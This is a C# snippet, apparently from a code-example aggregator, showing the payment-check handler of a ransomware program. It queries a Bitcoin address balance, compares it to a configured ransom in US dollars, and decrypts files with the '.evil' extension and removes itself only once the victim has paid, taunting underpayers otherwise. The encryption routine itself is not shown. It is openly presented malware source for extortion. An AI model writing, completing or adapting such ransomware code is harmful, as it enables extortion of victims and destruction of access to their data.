示例#1
0
 private void buttonCheckPayment_Click(object sender, EventArgs e)
 {
     try
     {
         double price = Blockr.GetPrice();
         int    num   = (int)(Blockr.GetBalanceBtc(GetBitcoinAddess()) * price);
         if (num > Config.RansomUsd)
         {
             timerCountDown.Stop();
             buttonCheckPayment.Enabled   = false;
             buttonCheckPayment.BackColor = Color.Lime;
             buttonCheckPayment.Text      = "Arg, vous nous avez eu...";
             MessageBox.Show(this, "Déchiffrement de vos fichiers. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job");
             Locker.DecryptFiles(".evil");
             Hacking.RemoveItself();
         }
         else if (num > 0)
         {
             buttonCheckPayment.BackColor = Color.Tomato;
             buttonCheckPayment.Text      = "You did not sent me enough! Try again!";
         }
         else
         {
             buttonCheckPayment.BackColor = Color.Tomato;
             buttonCheckPayment.Text      = "You haven't made payment yet! Try again!";
         }
     }
     catch
     {
         buttonCheckPayment.Text      = "Are you connected to the internet? Try again!";
         buttonCheckPayment.BackColor = Color.Tomato;
     }
 }